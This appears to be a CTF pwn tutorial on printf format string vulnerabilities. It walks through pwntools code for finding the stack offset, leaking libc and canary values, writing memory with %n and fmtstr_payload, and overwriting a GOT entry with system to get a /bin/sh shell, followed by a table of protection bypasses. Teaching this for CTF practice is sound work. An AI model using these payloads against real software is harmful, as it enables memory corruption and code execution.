Format String Vulnerabilities
Exploit printf format string bugs for arbitrary read and write in CTF pwn challenges.
Format String Vulnerabilities
A format string vulnerability happens when user input is passed directly as the format string argument to printf. This lets you read from and write to arbitrary memory, using the format specifiers that printf already understands.
This is one of the most powerful primitives in pwn: a single printf(buf) call can leak libc addresses, overwrite function pointers, or get you a shell.
The Vulnerability
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf); // VULNERABLE: user controls the format string
printf("%s", buf); // SAFE: format string is fixed, buf is just dataThe difference: when you control the format string, you decide what specifiers printf processes. %x reads from the stack. %n writes to memory. printf doesn't know you're doing this. It just follows the format string.
How printf Reads the Stack
Here's the key insight: printf gets its arguments from the stack (on x86) or from registers then the stack (on x86-64). When you write printf("%x %x %x"), printf pops three values from the stack and prints them as hex, whether you intended those as arguments or not.
printf("%x %x %x")
Stack:
┌──────────────┐
│ 0x41414141 │ ← arg1 (your input buffer starts here)
│ 0x7f12345678 │ ← arg2 (some libc pointer)
│ 0x00000000 │ ← arg3
└──────────────┘
Output: 41414141 7f12345678 0Your input buffer is on the stack. So %x will eventually read your own input, along with everything else on the stack around it: saved addresses, canary values, and libc pointers.
Finding Your Offset
Before doing anything, you need to know which %N$x corresponds to the start of your input buffer:
from pwn import *
p = process('./vuln')
p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = p.recvall().decode()
print(output)
# Look for 0x41414141 (AAAA) in the output
# If it appears at position 7 → your offset is 7Once you know the offset, use %N$x or %N$s for direct access:
# Read the 7th argument (your input buffer)
p.sendline(b"%7$p")
# Read the string at the 7th argument
p.sendline(b"%7$s")Primitive 1: Arbitrary Read
Leak stack values
# Dump 20 stack words
payload = b"%p." * 20
p.sendline(payload)This leaks libc addresses, stack addresses, and canary values. Anything on the stack is fair game. In a CTF, run this first to see what's available.
Read a specific memory address
To read memory at an arbitrary address, place that address in your input, then read it with %s:
# Read the value stored at puts@GOT
target = p64(elf.got['puts'])
payload = target + b"%7$s" # offset 7 = start of our input
p.sendline(payload)%7$s dereferences the 7th argument as a pointer and prints the string there. Since the 7th argument is your input (which starts with the GOT address), it reads the value stored at puts@GOT, leaking the real libc address of puts.
Primitive 2: Arbitrary Write (%n)
%n is the most powerful format specifier. It writes the number of characters printed so far to an address on the stack.
How it works:
printfhas printed N characters so far (from%Nc, padding, etc.)%ntakes the next argument as a pointer- It writes the value N (number of chars printed) to that pointer
Writing a small value
# Write 0x41 (65) to a target address
target_addr = 0x602020
payload = p64(target_addr) # place target address on stack (at our offset)
payload += b"%57c" # print 57 characters (8 bytes already printed + 57 = 65)
payload += b"%8$n" # write 65 to the 8th argument (our target_addr)The 8 bytes of target_addr are already "printed" as garbage, so printf's internal counter starts at 8. Then %57c adds 57 more. %n writes 65 (0x41) to the address.
pwntools fmtstr_payload
For anything beyond trivial writes, use pwntools:
from pwn import *
elf = ELF('./vuln')
# Map: {address_to_write: value_to_write}
writes = {elf.got['exit']: elf.sym['win']}
payload = fmtstr_payload(offset, writes)
# offset = your format string offset (from the AAAA.%p test)fmtstr_payload handles all the complex arithmetic: splitting large values into multiple %hn writes, ordering them correctly, and avoiding null bytes.
Auto-Finding the Offset
Let pwntools figure out the offset for you:
from pwn import *
def exec_fmt(payload):
p = process('./vuln')
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
print(f"Offset: {autofmt.offset}")GOT Overwrite via Format String
The most common CTF pattern: use the format string to overwrite a GOT entry with system, then trigger it with "/bin/sh".
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# Step 1: Leak libc address
p.sendline(b"%21$p") # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")
# Step 2: Overwrite puts@GOT with system
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(offset, writes))
# Step 3: Trigger. The next call to puts(input) becomes system(input)
p.sendline(b"/bin/sh")
p.interactive()For more on GOT overwrites, see GOT Overwrite.
Protections and Bypasses
| Protection | Impact | Bypass |
|---|---|---|
| PIE | Binary addresses randomized | Leak a binary address via %N$p first, then set elf.address |
| Full RELRO | GOT is read-only | Target __malloc_hook/__free_hook (glibc < 2.34) or _IO_2_1_stdout_ |
| Stack Canary | Canary value on stack | Leak it via %N$p before any overflow |
Format string bugs are especially powerful because they can leak and write in the same vulnerability. Leak the canary, leak libc, then overwrite. All through printf.
Checklist
- Is
printf(buf)orfprintf(buf)called with user input as format string? - Find offset: send
"AAAA.%p.%p...", look for0x41414141 - Leak libc/binary/canary addresses with
%N$p - Use
fmtstr_payload()for writes - Target GOT (Partial RELRO) or hooks (Full RELRO, glibc < 2.34)
- On glibc 2.34+: target
_IO_2_1_stdout_or.fini_array
Last updated on